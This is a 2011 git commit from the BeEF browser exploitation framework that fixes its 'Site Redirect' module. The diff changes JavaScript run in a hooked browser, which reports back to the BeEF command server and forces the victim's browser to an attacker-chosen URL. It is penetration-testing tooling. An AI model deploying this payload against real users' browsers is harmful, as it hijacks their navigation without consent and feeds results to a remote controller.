Fixed Site Redirect module

Fixes issue 490



git-svn-id: https://beef.googlecode.com/svn/trunk@1268 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
bcoles@gmail.com
2011-09-10 07:30:23 +00:00
parent 605840f4df
commit 1afc488a8d

View File

@@ -14,8 +14,9 @@
// limitations under the License.
//
beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>', function(){window.location = "<%= @redirect_url %>"});
window.location = "<%= @redirect_url %>";
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>');
});